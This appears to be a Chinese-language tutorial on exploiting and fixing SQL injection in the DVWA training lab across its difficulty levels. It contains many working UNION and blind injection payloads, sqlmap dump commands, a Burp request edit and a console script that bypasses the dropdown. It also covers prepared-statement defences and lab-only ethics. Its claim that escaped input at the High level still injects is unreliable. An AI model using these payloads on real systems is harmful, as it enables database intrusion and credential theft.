0%

DVWA - SQL Injection (SQL注入) 攻防练习详解

目录


漏洞简介

什么是SQL注入(SQL Injection)?

SQL注入是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意SQL代码,操纵后台数据库执行非预期的查询。

攻击原理:
应用程序将用户输入直接拼接到SQL查询语句中,没有进行适当的过滤和验证。

危害:

  • 绕过登录验证
  • 读取敏感数据(用户信息、密码)
  • 修改数据库内容
  • 删除数据
  • 执行系统命令(高级)
  • 完全控制数据库服务器

OWASP Top 10:
SQL注入长期位居OWASP十大Web应用安全风险前列。


Low 难度

攻击目标

完全未过滤的用户ID查询,存在严重SQL注入漏洞。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

// 检查是否提交了表单
// isset() - 检查变量是否存在且非NULL
// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的超全局数组
if( isset( $_REQUEST[ 'Submit' ] ) ) {

// ★★★ 危险操作:直接获取用户输入,无任何过滤 ★★★
// 从请求中获取id参数
// 例如:?id=1&Submit=Submit
$id = $_REQUEST[ 'id' ];

// ★★★ 核心漏洞:直接拼接SQL语句 ★★★
// 将用户输入直接插入SQL查询
// 没有任何验证、过滤或转义!
// $id的值完全由用户控制
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

// 执行SQL查询
// mysql_query() - 执行MySQL查询(已废弃的函数)
// or die() - 查询失败时终止并显示错误
// mysql_error() - 返回MySQL错误信息(会泄露数据库结构!)
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 获取查询结果
// mysql_fetch_assoc() - 将结果行作为关联数组返回
// 例如:['first_name' => 'admin', 'last_name' => 'admin']
$row = mysql_fetch_assoc( $result );

// 检查是否有结果
if( $row ) {
// 输出用户信息
// {$row[ 'first_name' ]} - 在双引号字符串中插入变量
// <br /> - HTML换行标签
$html .= '<pre>ID: ' . $id . '<br />First name: ' . $row[ 'first_name' ] . '<br />Surname: ' . $row[ 'last_name' ] . '</pre>';
}
else {
// 未找到用户
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

// 关闭数据库连接
mysql_close();
}

?>

漏洞分析

核心问题:

  1. 直接拼接SQL - 用户输入直接插入查询
  2. 无输入验证 - 不检查ID是否为数字
  3. 无特殊字符过滤 - 允许单引号、注释符等
  4. 错误信息泄露 - 显示MySQL错误(暴露数据库结构)
  5. 使用废弃函数 - mysql_query()已不再推荐

攻击向量:

1
2
3
4
5
6
7
-- 正常查询
SELECT first_name, last_name FROM users WHERE user_id = '1';

-- 注入攻击
-- 输入:1' OR '1'='1
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
-- 结果:返回所有用户(因为 '1'='1' 永远为真)

攻击步骤

步骤1:判断是否存在SQL注入

测试1:输入单引号

1
2
3
4
输入:1'
完整SQL:SELECT ... WHERE user_id = '1'';
结果:SQL语法错误
错误信息:You have an error in your SQL syntax...

测试2:注释符测试

1
2
3
4
5
输入:1' -- 
(注意1'--后面需要有一个空格)
完整SQLSELECT ... WHERE user_id = '1' -- ';
结果:正常显示ID=1的用户
说明:-- 注释掉了后面的单引号

测试3:逻辑测试

1
2
3
输入:1' OR '1'='1
完整SQL:SELECT ... WHERE user_id = '1' OR '1'='1';
结果:显示所有用户

步骤2:判断列数(UNION注入准备)

使用ORDER BY判断列数:

1
2
3
4
5
6
7
8
9
-- 输入:1' ORDER BY 1 --
-- 结果:正常(说明至少有1列)

-- 输入:1' ORDER BY 2 --
-- 结果:正常(说明至少有2列)

-- 输入:1' ORDER BY 3 --
-- 结果:错误(说明只有2列)
-- 结论:表有2列

步骤3:使用UNION注入获取数据

基本UNION注入:

1
2
3
4
5
6
-- 输入:1' UNION SELECT NULL, NULL --
-- 测试UNION是否可用

-- 输入:1' UNION SELECT 'test1', 'test2' --
-- 结果:显示 First name: test1, Surname: test2
-- 说明:可以注入任意数据

步骤4:获取数据库信息

获取数据库版本:

1
2
-- 输入:1' UNION SELECT @@version, NULL --
-- 结果:显示MySQL版本号

获取当前数据库名:

1
2
-- 输入:1' UNION SELECT database(), NULL --
-- 结果:显示当前数据库名(dvwa)

获取当前用户:

1
2
-- 输入:1' UNION SELECT user(), NULL --
-- 结果:显示当前数据库用户

步骤5:枚举数据库结构

获取所有数据库名:

1
2
-- 输入:1' UNION SELECT schema_name, NULL FROM information_schema.schemata --
-- 结果:列出所有数据库

获取所有表名:

1
2
3
-- 输入:1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' --
-- 结果:列出dvwa数据库中的所有表
-- 例如:users, guestbook等

获取列名:

1
2
3
-- 输入:1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
-- 结果:列出users表的所有列名
-- 例如:user_id, first_name, last_name, user, password等

步骤6:获取敏感数据

获取用户名和密码:

1
2
3
4
5
-- 输入:1' UNION SELECT user, password FROM users --
-- 结果:显示所有用户名和密码哈希
-- 例如:
-- First name: admin
-- Surname: 5f4dcc3b5aa765d61d8327deb882cf99 (password的MD5)

一次性获取所有用户信息:

1
2
-- 输入:1' UNION SELECT CONCAT(user,':',password), NULL FROM users --
-- 结果:admin:5f4dcc3b5aa765d61d8327deb882cf99

GROUP_CONCAT获取所有数据:

1
2
3
-- 输入:1' UNION SELECT GROUP_CONCAT(user,':',password SEPARATOR '<br>'), NULL FROM users --
-- 结果:一次性显示所有用户和密码
-- admin:5f4dcc3b5aa765d61d8327deb882cf99<br>gordonb:e99a18c428cb38d5f260853678922e03...

步骤7:使用SQLMap自动化

基本用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 安装sqlmap(Kali Linux自带)
apt-get install sqlmap

# 基本注入测试
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
--batch

# 获取所有数据库
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
--dbs

# 获取当前数据库的表
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
-D dvwa --tables

# 获取users表的数据
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
-D dvwa -T users --dump

参数说明:

  • -u - 目标URL
  • --cookie - 设置Cookie
  • --batch - 使用默认选项(不询问)
  • --dbs - 枚举所有数据库
  • -D - 指定数据库
  • -T - 指定表
  • --dump - 导出数据

步骤8:使用Burp Suite

步骤:

  1. 拦截请求
  2. 发送到Repeater
  3. 修改id参数为注入payload
  4. 观察响应

示例payload:

1
id=1' UNION SELECT user, password FROM users --

Medium 难度

攻击目标

添加了mysqli和下拉菜单,但仍可注入。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// ★★★ 改进1:使用POST而不是GET ★★★
// $_POST - 从POST请求体获取数据
// 相比GET更安全,不会出现在URL中
$id = $_POST[ 'id' ];

// ★★★ 改进2:使用mysqli_real_escape_string() ★★★
// mysqli_real_escape_string() - 转义SQL语句中的特殊字符
// 转义字符:\x00, \n, \r, \, ', ", \x1a
// 作用:防止通过单引号闭合SQL语句
// $GLOBALS["___mysqli_ston"] - mysqli数据库连接对象
// 原理:'转义为\',使其无法闭合字符串
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 仍然拼接SQL,虽然转义了 ★★★
// 注意:查询语句结构和Low难度相同
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

// 使用mysqli_query执行查询
// mysqli_query() - mysqli扩展的查询函数
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 获取结果
// mysqli_fetch_assoc() - 将结果行作为关联数组返回
$row = mysqli_fetch_assoc( $result );

if( $row ) {
$html .= '<pre>ID: ' . $id . '<br />First name: ' . $row[ 'first_name' ] . '<br />Surname: ' . $row[ 'last_name' ] . '</pre>';
}
else {
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

  1. POST请求 - 不在URL中暴露参数
  2. mysqli_real_escape_string() - 转义特殊字符
  3. 下拉菜单 - 前端限制输入(可绕过)

仍存在的漏洞

关键漏洞:

1
2
3
4
// 注意这里没有引号!
$query = "SELECT ... WHERE user_id = $id;";
// ^
// 没有单引号包裹

虽然使用了mysqli_real_escape_string(),但SQL中没有用引号包裹$id,所以:

  • 单引号转义无效(因为根本不需要闭合引号)
  • 数字型注入仍然有效

绕过方法

方法1:数字型注入(无需引号)

由于SQL中user_id = $id没有引号,可以直接注入:

1
2
3
4
5
6
7
8
9
10
-- 输入:1 OR 1=1
-- 完整SQL:SELECT ... WHERE user_id = 1 OR 1=1;
-- 结果:返回所有用户

-- 输入:1 UNION SELECT user, password FROM users
-- 完整SQL:SELECT ... WHERE user_id = 1 UNION SELECT user, password FROM users;
-- 结果:显示用户名和密码

-- 输入:1 AND 1=2 UNION SELECT database(), user()
-- 结果:显示数据库信息

注意:

  • 不需要单引号
  • 不需要注释符
  • mysqli_real_escape_string()完全无效

方法2:使用Burp Suite绕过前端限制

Medium难度使用下拉菜单限制输入,但这只是前端限制:

步骤:

  1. 打开Burp Suite,开启拦截
  2. 选择下拉菜单中的任意值,提交
  3. 在Burp中拦截请求
  4. 修改POST参数:
1
2
3
4
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
...

id=1 UNION SELECT user, password FROM users&Submit=Submit
  1. Forward请求
  2. 查看响应,获取数据

方法3:直接修改HTML

浏览器控制台修改:

  1. 按F12打开开发者工具
  2. 在Console中执行:
1
2
3
4
5
6
7
// 添加自定义选项
var select = document.getElementsByName('id')[0];
var option = document.createElement('option');
option.value = '1 UNION SELECT user, password FROM users';
option.text = 'Inject';
select.add(option);
select.value = option.value;
  1. 提交表单

High 难度

攻击目标

使用了Session和页面跳转,增加了攻击复杂度。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_SESSION [ 'id' ] ) ) {

// ★★★ 改进1:从SESSION获取ID ★★★
// $_SESSION - 服务器端存储的会话变量
// 数据存储在服务器,客户端只有session ID
// 作用:避免直接从用户输入获取数据
$id = $_SESSION[ 'id' ];

// ★★★ 仍然存在漏洞:直接拼接SQL ★★★
// 虽然从SESSION获取,但SESSION的值来自另一个页面的用户输入!
// 注意:这里有单引号包裹
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

// 执行查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>Something went wrong.</pre>' );

// 获取结果
$row = mysqli_fetch_assoc( $result );

if( $row ) {
$html .= '<pre>ID: ' . $id . '<br />First name: ' . $row[ 'first_name' ] . '<br />Surname: ' . $row[ 'last_name' ] . '</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

关键点:

High难度分为两个页面:

  1. session-input.php - 接收用户输入,存入SESSION
  2. index.php - 从SESSION读取,执行查询

session-input.php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

// ★★★ 这里接收用户输入 ★★★
if( isset( $_POST[ 'Submit' ] ) ) {

// 获取用户输入的ID
$id = $_POST[ 'id' ];

// ★★★ 使用stripslashes()去除反斜杠 ★★★
// stripslashes() - 删除反斜杠
// 例如:\' 变成 '
$id = stripslashes( $id );

// ★★★ 使用mysqli_real_escape_string转义 ★★★
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 将处理后的ID存入SESSION ★★★
$_SESSION[ 'id' ] = $id;

// 重定向回主页面
// header() - 发送原始HTTP头
// Location - 重定向到指定URL
header ("Location: " . $_SERVER['HTTP_REFERER']);
}

?>

新增防护

  1. 使用SESSION - 数据存储在服务器端
  2. stripslashes() - 去除反斜杠
  3. mysqli_real_escape_string() - 转义特殊字符
  4. 页面分离 - 输入和查询在不同页面

仍存在的漏洞

关键问题:

虽然使用了SESSION,但SESSION的值仍来自用户输入!

1
用户输入 → 转义 → 存入SESSION → 从SESSION读取 → 拼接SQL

转义后的数据存入SESSION,但从SESSION读取后直接拼接,仍有注入风险。

绕过方法

方法1:直接在输入页面注入

攻击流程:

  1. 访问 session-input.php
  2. 在输入框中输入payload
  3. 虽然经过转义,但存入SESSION
  4. 返回主页面,从SESSION读取并执行

Payload:

1
2
3
4
5
6
-- 输入:1' UNION SELECT user, password FROM users --
-- 经过转义:1\' UNION SELECT user, password FROM users --
-- 存入SESSION:1\' UNION SELECT user, password FROM users --
-- 拼接到SQL:... WHERE user_id = '1\' UNION SELECT user, password FROM users -- ' ...

-- 结果:转义的反斜杠会被MySQL处理,仍然可以注入

方法2:使用Burp Suite

步骤:

  1. 开启Burp代理
  2. 访问session-input.php
  3. 提交注入payload
  4. 在Burp中观察两次请求:
    • POST到session-input.php(存入SESSION)
    • GET主页面(从SESSION读取执行)
  5. 查看第二次请求的响应

Impossible 难度

攻击目标

使用PDO预编译语句,真正安全的实现。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// ★★★ 改进1:验证输入是否为数字 ★★★
// is_numeric() - 检查变量是否为数字或数字字符串
// 作用:只接受数字,拒绝其他字符
if( is_numeric( $_GET[ 'id' ] ) ) {

// 获取ID
$id = $_GET[ 'id' ];

// ★★★ 核心防护:PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备SQL语句用于执行
// :id - 命名参数占位符(参数化查询)
// LIMIT 1 - 限制只返回一行
//
// 关键:SQL结构和数据完全分离!
// 数据库先编译SQL结构,再绑定数据
// 无论数据内容是什么,都只会被当作数据,不会被当作SQL代码执行
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

// ★★★ 绑定参数 ★★★
// bindParam() - 将参数绑定到预编译语句
// 参数1:占位符名称
// 参数2:要绑定的变量
// 参数3:数据类型(PDO::PARAM_INT表示整数)
//
// 作用:将$id的值绑定到:id占位符
// 数据类型明确指定为整数,进一步增强安全性
$data->bindParam( ':id', $id, PDO::PARAM_INT );

// ★★★ 执行预编译语句 ★★★
// execute() - 执行准备好的语句
// 此时才真正执行查询,但数据已经被安全处理
$data->execute();

// ★★★ 获取结果 ★★★
// fetch() - 获取结果集的下一行
// 返回关联数组
$row = $data->fetch();

// 检查是否有结果
// rowCount() - 返回受影响的行数
if( $data->rowCount() == 1 ) {
// 获取值
// {$row[ 'first_name' ]} - 输出first_name字段的值
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// 输出结果
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
else {
// 未找到用户
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
else {
// ★★★ 输入不是数字,拒绝 ★★★
// 明确的错误信息
$html .= '<pre>User ID must be numeric</pre>';
}
}

?>

完善的防护机制

  1. 输入验证 - is_numeric()只接受数字
  2. PDO预编译 - SQL结构和数据完全分离
  3. 参数绑定 - 数据类型明确指定
  4. 限制结果 - LIMIT 1限制返回行数

PDO预编译原理

传统拼接(不安全):

1
2
3
4
5
// 危险方式
$query = "SELECT * FROM users WHERE id = '$id'";
// 如果$id = "1' OR '1'='1"
// 结果:SELECT * FROM users WHERE id = '1' OR '1'='1'
// 注入成功!

PDO预编译(安全):

1
2
3
4
5
6
7
8
9
10
11
// 安全方式
$stmt = $db->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

// 执行过程:
// 1. 数据库先编译SQL结构:"SELECT * FROM users WHERE id = ?"
// 2. 然后绑定数据:id = "1' OR '1'='1"
// 3. 数据被当作字符串整体,不会被解析为SQL代码
// 4. 实际执行:SELECT * FROM users WHERE id = '1\' OR \'1\'=\'1\''
// 5. 查找id为整个字符串的记录(不存在),注入失败!

为什么预编译安全?

1
2
3
4
5
6
传统方式:
用户输入 → 拼接到SQL → 作为代码执行 ✗

预编译方式:
SQL结构 → 先编译
用户输入 → 只作为数据绑定 → 不会被当作代码 ✓

为什么无法攻破?

多层防御:

  1. is_numeric()验证

    1
    2
    3
    输入:1' OR '1'='1
    is_numeric("1' OR '1'='1") = false
    拒绝!
  2. PDO预编译

    1
    2
    即使绕过is_numeric,PDO也会将输入当作数据
    不会被执行为SQL代码
  3. 参数类型

    1
    2
    PDO::PARAM_INT - 强制转换为整数
    "1' OR '1'='1"1

攻击尝试全部失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 尝试1:字符串注入
输入:1' OR '1'='1
is_numeric() → false → 拒绝

// 尝试2:纯数字UNION
输入:1 UNION SELECT ...
is_numeric("1 UNION SELECT ...") → false → 拒绝

// 尝试3:只输入数字
输入:1
is_numeric("1") → true → 通过
但PDO预编译会将其安全处理
只会查询id=1的记录,无法注入

防御建议

代码层面

1. 使用PDO预编译(强烈推荐)

1
2
3
4
5
6
7
8
// 正确的做法
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id AND name = :name');
$stmt->execute(['id' => $id, 'name' => $name]);

// 或使用bindParam
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bindParam(1, $id, PDO::PARAM_INT);
$stmt->execute();

2. 使用mysqli预编译

1
2
3
4
5
// mysqli预编译
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id); // i = integer
$stmt->execute();
$result = $stmt->get_result();

参数类型:

  • i - integer(整数)
  • d - double(浮点数)
  • s - string(字符串)
  • b - blob(二进制数据)

3. 输入验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 验证ID是否为数字
if (!is_numeric($id)) {
die("Invalid ID");
}

// 验证邮箱格式
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die("Invalid email");
}

// 使用正则表达式
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
die("Invalid username");
}

4. 白名单验证

1
2
3
4
5
6
7
// 只允许特定值
$allowed_columns = ['id', 'name', 'email'];
if (!in_array($sort_by, $allowed_columns)) {
$sort_by = 'id'; // 默认值
}

$query = "SELECT * FROM users ORDER BY {$sort_by}";

5. 最小权限原则

1
2
3
4
5
6
7
8
9
-- 为Web应用创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webapp'@'localhost';

-- 不要授予
-- DROP, DELETE(除非必要)
-- FILE, SUPER, PROCESS(危险权限)

架构层面

  1. WAF(Web应用防火墙)

    • ModSecurity
    • Cloudflare WAF
    • AWS WAF
  2. 输入输出分离

    • ORM框架(Eloquent, Doctrine)
    • 查询构建器(Query Builder)
  3. 错误处理

    1
    2
    3
    4
    5
    6
    7
    8
    // 不要显示详细错误
    // mysqli_query($query) or die(mysql_error()); ✗

    // 记录错误,显示通用消息
    if (!mysqli_query($query)) {
    error_log(mysqli_error($conn));
    die("An error occurred");
    }

检测工具

  1. SQLMap - 自动化SQL注入检测
  2. Burp Suite Scanner - 漏洞扫描
  3. OWASP ZAP - 免费安全扫描工具

总结对比

特性 Low Medium High Impossible
输入过滤 mysqli_escape mysqli_escape + stripslashes is_numeric()
SQL类型 字符串拼接 字符串拼接(无引号) 字符串拼接 PDO预编译
引号保护 ✅ 有引号 ❌ 无引号 ✅ 有引号 N/A
SESSION
攻击方式 字符串注入 数字注入 字符串注入 无法注入
攻击难度 极易 简单 中等 几乎不可能
典型Payload 1' OR '1'='1 1 OR 1=1 1' OR '1'='1 无效

常用SQL注入Payload集合

基础测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 单引号测试
'
"
\

-- 逻辑测试
1' OR '1'='1
1' OR '1'='1' --
1' OR '1'='1' #
1' OR '1'='1'/*

-- 数字注入
1 OR 1=1
1 AND 1=1
1 AND 1=2

UNION注入

1
2
3
4
5
6
7
8
9
10
11
12
13
-- 判断列数
1' ORDER BY 1 --
1' ORDER BY 2 --
1' ORDER BY 3 --

-- UNION SELECT
1' UNION SELECT NULL, NULL --
1' UNION SELECT 1, 2 --
1' UNION SELECT 'test', 'test2' --

-- 获取信息
1' UNION SELECT @@version, database() --
1' UNION SELECT user(), current_user() --

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
-- 数据库
1' UNION SELECT schema_name, NULL FROM information_schema.schemata --

-- 表
1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' --

-- 列
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --

-- 数据
1' UNION SELECT user, password FROM users --
1' UNION SELECT GROUP_CONCAT(user,':',password), NULL FROM users --

盲注

1
2
3
4
5
6
7
-- 基于布尔的盲注
1' AND SUBSTRING(database(),1,1)='d' --
1' AND ASCII(SUBSTRING(database(),1,1))=100 --

-- 基于时间的盲注
1' AND SLEEP(5) --
1' AND IF(1=1, SLEEP(5), 0) --

实战建议

学习路径:

  1. Low难度 - 掌握基本注入技巧
  2. Medium难度 - 理解数字型注入
  3. High难度 - 学习SESSION利用
  4. Impossible难度 - 理解PDO防御原理

工具使用:

  • 手动测试 → 理解原理
  • Burp Suite → 自动化重放
  • SQLMap → 高效利用

道德准则:

  • 只在授权环境测试
  • 不攻击真实系统
  • 学以致用,保护而非破坏
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels